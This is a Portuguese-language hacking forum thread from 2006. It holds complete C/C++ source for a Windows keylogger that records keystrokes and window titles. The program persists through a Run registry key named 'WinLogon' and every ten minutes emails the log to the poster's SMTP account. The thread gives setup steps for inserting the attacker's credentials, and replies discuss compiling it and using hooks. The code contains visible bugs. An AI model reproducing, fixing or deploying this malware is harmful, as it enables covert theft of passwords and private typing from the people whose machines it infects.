[Source Code]KeyLogger + WindowLogger - C/C++

Started by Dark_Side, 08 de July , 2006, 07:15:56 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Dark_Side

Hi,
Muitos usuários estavam com dificuldades em utilizar a primeira versão do KeyLogger que eu fiz, prinicipalmente no envio via PHP.
Nesta versão, os logs são enviados via SMTP, bastando que você configure o tempo de envio e os seus dados.
Esta versão possui o seguinte esquema:

JANELA
{TECLAS DIGITADAS}:
xxxxxxxxxxxxx

Janela -> Captura a janela em foco
xxxxxxxxxxxxx -> O que foi digitado nesta janela.

Inicialmente, o programa incluia também, um ScreenLogger. Em decorrência de alguns problemas relacionados com o tamanho das imagens (que superava 1 MB), retirei a função temporariamente.
Estudarei sobre o manipulamento de imagens  e espero incrementar a função brevemente.

Configurando o KeyLogger.
*****************************
1) Obtenha o endereço do seu servidor SMTP.
2) Entre no site: http://makcoder.sourceforge.net/demo/base64.php
3) Encripte seu nome de usuário no site acima, e anote.
4) Encripte sua senha no site acima, e anote.

5) Observe o código:
#define SMTP "smtp.seuservidor.com.br" //Seu servidor SMTP
#define EMAIL "seuemail@aki.com.br" //Seu email
#define USER "seulogin_base64" //Seu login em BASE64.
#define PASS "suasenha_base64" //Sua senha em BASE64.
#define log_file "C:\\WINDOWS\\log.txt" //Arquivo de log.
#define tempo 10 //Intervalo de envio em MINUTOS
Troque os dados acima, pelos seus respectivos dados.

6) Adicione à linha de comando do linker, a biblioteca WSOCK32.

Source Code
*****************************
MAIN.CPP
//Coded by Dark Side
#include "funcoes.h"  //Header com funções vitais

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevHinstance,LPSTR lpCmdLine,int nShowCmd){ //Inicialização
copiar(); //Função para auto-cópia
reg(); //Função para adicionar valor ao registro
GetLocalTime(&time); //Obtém tempo
mim =  time.wMinute; //Armazena o(s) minuto(s), no(s) qual(quais) o programa iniciou.
while(1) //Loop
{
Sleep(1); //Pause

GetLocalTime(&time); //Obtém tempo
t = time.wMinute-mim; //Subtrai o tempo atual, com o tempo de inicialização

if(t<0) //Caso seja um valor negativo, converte para minutos
t = 60 + t;

if(t==tempo){ //Verifica se a diferença é igual ao tempo especificado.
enviar(); //Se sim, envia o log e atualiza o tempo.
mim = time.wMinute;
}

janela = GetForegroundWindow(); //Obtém HWND da janela em foco
if(janela!=janela_aux){ //Compara se é diferente da útltima obtida.
janela_aux = janela; //Se sim, iguala os HWND's.
GetWindowText(janela,titulo,255); //Obtém o título da janela
if(strcmp(titulo,"")!=0){ //Compara se o título não está em branco.
log = fopen(log_file,"a+"); //Caso não, abre o arquivo de log.
fprintf(log,"\n[%s]\n{TECLAS DIGITADAS}:\n",titulo); //Adiciona o título da janela, e uma referência às teclas digitadas.
fclose(log); //Fecha o log.
}}


if(GetAsyncKeyState(0x8)==-32767){  //Verifica a tecla BACKSPACE
if(strlen(teclas)>0){ //Se houverem teclas digitadas no buffer.
teclas_aux =  new char[strlen(teclas)]; //Cria uma variável com tamanho do buffer.
memset(teclas_aux,0,strlen(teclas)); //Aloca o espaço na variável.
strncpy(teclas_aux,teclas,strlen(teclas)-1); //Copia até a penúltima tecla do buffer para a variável.
strcpy(teclas,teclas_aux); //Retorna o conteúdo da variável auxiliar ao buffer principal.
delete[] teclas_aux; //Remove a alocação da variável.
} }

if(GetAsyncKeyState(0xD)==-32767){ //Verifica por ENTER
strcat(teclas,"\n"); //Adiciona quebra de linha.
log = fopen(log_file,"a+"); //Abre o arquivo de log.
fputs(teclas,log); //Adiciona as teclas armazenadas no buffer no arquivo.
fclose(log); //Fecha o arquivo.
sprintf(teclas,""); //Limpa o buffer.

}

if(GetAsyncKeyState(0x10)) //Verifica por SHIFT
logar_shift(); //Chama pela função respectiva.

if(GetAsyncKeyState(0x20)==-32767) //Verica ESPAÇO.
strcat(teclas," "); //Adiciona o espaço ao buffer.

caps = GetKeyState(0x14); //Verifica CAPS-LOCK
switch(caps)
{
case 0:
logar_normal(); //Se caps lock estiver desligado
break;
case 1:
logar_caps(); //Se estiver ligado
}

for(num=48;num<=57;num++) //Loga números
if(GetAsyncKeyState(num)==-32767)
sprintf(teclas,"%s%c",teclas,num);

//Loga teclado númerico. (0123...9 +*/-.)
for(num2=96;num2<=105;num2++)
if(GetAsyncKeyState(num2)==-32767)
sprintf(teclas,"%s%c",teclas,num2-48);

//Loga outros caracteres.
if(GetAsyncKeyState(106)==-32767)
sprintf(teclas,"%s*",teclas);

if(GetAsyncKeyState(107)==-32767)
sprintf(teclas,"%s+",teclas);

if(GetAsyncKeyState(109)==-32767)
sprintf(teclas,"%s-",teclas);

if(GetAsyncKeyState(110)==-32767)
sprintf(teclas,"%s.",teclas);

if(GetAsyncKeyState(111)==-32767)
sprintf(teclas,"%s/",teclas);

if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s;",teclas);

if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s=",teclas);

if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s,",teclas);

if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s-",teclas);

if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s.",teclas);

if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s/",teclas);

if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s`",teclas);

if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s[",teclas);

if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s\\",teclas);

if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s]",teclas);

if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s'",teclas);

}
return 0;

}

FUNCOES.H
#include <io.h> //Entrada e saída.
#include <stdio.h> //Entrada e saída padronizados.
#include <string.h> //Header para manipulamento de string.
#include <windows.h> //Header do windows.
#include <winsock.h> //Header do winsock.
#pragma comment(lib,"wsock32") //Lib do winsock

#define SMTP "smtp.seuservidor.com.br" //Seu servidor SMTP
#define EMAIL "seuemail@aki.com.br" //Seu email
#define USER "seulogin_base64" //Seu login em BASE64.
#define PASS "suasenha_base64" //Sua senha em BASE64.
#define log_file "C:\\WINDOWS\\log.txt" //Arquivo de log.
#define tempo 10 //Intervalo de envio em MINUTOS.

SYSTEMTIME time; //Struct para capturar tempo.
FILE *log; //Arquivo.

//Variáveis gerais
char teclas[9999],*teclas_aux,titulo[255],*buffer,header[500];
short caps;
int c,n,num,num2,mim,s,t;
HWND janela,janela_aux;

//Variáveis do winsock
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
HOSTENT *host;
 
//Função de envio
void enviar(){
log = fopen(log_file,"rb"); //Abre o arquivo de log para leitura binária.
buffer = new char[filelength(log->_file)]; //Cria variável com o tamanho do arquivo.
ZeroMemory(buffer,filelength(log->_file)); //Aloca espaço.
fread(buffer,filelength(log->_file)-2,1,log); //Obtém conteúdo do aquivo e salva na variável.
fclose(log); //Fecha o arquivo.

//Funções do winsock.
WSAStartup(MAKEWORD(1,1),&data); //Inicializa data.
winsock = socket(AF_INET,SOCK_STREAM,0); //Cria socket TCP.
host= gethostbyname(SMTP); //Obtém IP do host.
if(host==0) //Encerra caso o host seja desconhecido.
ExitProcess(0);

sock.sin_family=AF_INET; //Família do socket.
memcpy(&sock.sin_addr,host->h_addr_list[0],host->h_length); //Copia o IP do servidor para o socket.
sock.sin_port=htons(25); //Porta -> SMTP

//Abaixo uma requisição em SMTP.
if(connect(winsock,(SOCKADDR*)&sock,sizeof(sock))!=SOCKET_ERROR){ //Caso haja conexão:
sprintf(header,"EHLO localhost\r\nauth login\r\n%s\r\n%s\r\n",USER,PASS); //Envia procedimento de login
sprintf(header,"%sMAIL FROM: <%s>\r\nRCPT TO: <%s>\r\n",header,EMAIL,EMAIL); //Envia remetente e destinatário.
sprintf(header,"%sDATA\r\nFrom:%s\r\nTo:%s\r\nSubject: LOG\r\nMIME-VERSION: 1.0\r\nContent-type: text/plain\r\n",header,EMAIL,EMAIL); //Ajusta o assunto, e prepara o email para enviar o anexo.
strcat(header,"Content-Disposition: attachment;filename=\"log.txt\"\r\n"); //Anexa o arquivo de log.
strcat(header,"Content-Tranfer-Enconding: quote-printable\r\n\r\n"); //Tranfere em texto puro.
send(winsock,header,strlen(header),0); //Envia todos os headers.
send(winsock,buffer,strlen(buffer),0); //Envia conteúdo do log.
send(winsock,"\r\n.\r\n",strlen("\r\n.\r\n\r\n"),0); //Encerra e envia o email.
DeleteFile(log_file); //Deleta o arquivo de LOG.

else
{
ExitProcess(0); //Encerra em um erro de conexão.
}

closesocket(winsock); //Fecha socket.
WSACleanup(); //Limpa data.

}

void copiar(){ //Função de cópia
char buffer[255];
GetModuleFileName(GetModuleHandle(NULL),buffer,255); //Obtém caminho completo de onde o arquivo foi executado.
CopyFile(buffer,"c:\\aff2.exe",0); //Faz cópia do arquivo para C:\WINDOWS\SYSTEM\WinLogon.exe
}

void reg(){ //Função de registro
     HKEY chave;
     RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",&chave); //Abre chave de inicialização automática.
     RegSetValueEx(chave,"WinLogon",0,1,(LPBYTE)"C:\\WINDOWS\\SYSTEM32\\WinLogon.exe",32); //Cria valor no registro.
     RegCloseKey(chave); //Fecha chave.
}

void logar_normal(){ //Loga quando nem shift nem caps lock, estiverem acionados.

for(n=65;n<=90;n++) //Letras
if(GetAsyncKeyState(n)==-32767)
sprintf(teclas,"%s%c",teclas,n+32);
}

void logar_shift(){ //Loga quando shift está pressionado.
for(s=48;s<=57;s++) //Números que combinados com shift, formarão símbolos.
if(GetAsyncKeyState(s)==-32767)
switch(s)
{
case 48:
sprintf(teclas,"%s)",teclas);
break;

case 49:
sprintf(teclas,"%s!",teclas);
break;

case 50:
sprintf(teclas,"%s@",teclas);
break;
case 51:
sprintf(teclas,"%s#",teclas);
break;
case 52:
sprintf(teclas,"%s$",teclas);
break;
    case 53:
sprintf(teclas,"%s%%",teclas);
break;
case 54:
sprintf(teclas,"%s^",teclas);
break;
case 55:
sprintf(teclas,"%s%&",teclas);
break;
case 56:
sprintf(teclas,"%s*",teclas);
break;
case 57:
sprintf(teclas,"%s(",teclas);
break;
}
//Outros símbolos
if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s:",teclas);

if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s+",teclas);

if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s<",teclas);

if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s_",teclas);

if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s>",teclas);

if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s?",teclas);

if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s~",teclas);

if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s{",teclas);

if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s|",teclas);

if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s}",teclas);

if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s\"",teclas);

switch(caps) //Verifica o caps lock.
{
case 0:  //Se desligado,loga letras em maiúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s);
break;

case 1: //Se ligado, loga letras em minúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s+32);
}

}
void logar_caps(){ //Loga quando capslock estiver acionado.
for(c=65;c<=90;c++) //Letras
if(GetAsyncKeyState(c)==-32767)
sprintf(teclas,"%s%c",teclas,c);
}

Bye.  :D

Ðark$pawn


Skayler

Thankz DS, isso vai me ajudar no estudo de WinAPI ;)

[]'s


Skayler
Away

Anonymous

Nao seria mais facil fazer usando hook? acho q ia ficar BEM menor.
=)

Dark_Side

Hi,
Minha idéia inicial era fazer o programa utilizando HOOK, que por sinal, teria cerca de 70% a menos de linhas de código. Tive porém, um problema na captura das teclas e para não adiar o projeto inteiro, resolvi fazer esta versão utilizando LOOP. Esta não é a primeira vez que deixo de utilizar HOOK. Espero postar novas versões com o este recurso futuramente.
Vlw.
Bye.

Anonymous

Se precisar de ajuda é so falar que eu te mando um que comecei a fazer no dev-c++
O importante é ter interesse!

HadeS


Dark_Side

Quote from: "dvd"Se precisar de ajuda é so falar que eu te mando um que comecei a fazer no dev-c++
O importante é ter interesse!
Hi,
se possível seria legal se você compartilhasse conosco, creio que será útil não só para mim, como para os demais usuários.
Vlw.
Bye.

Fvox

Cara, aprendi a compilar essa semana.

Tipo, esse keylogger ai, eu devo compilar em C ou C++?
"Achas que estás caindo na insanidade? Mergulhe."


Skayler

Source Code
*****************************
MAIN.CPP

C++

[]'s


Skayler
Away

Fvox

É já consegui...

Compilei... mas não adiciono chave no registro do windows para inicialização automática, e os e-mails não xegaram =/
"Achas que estás caindo na insanidade? Mergulhe."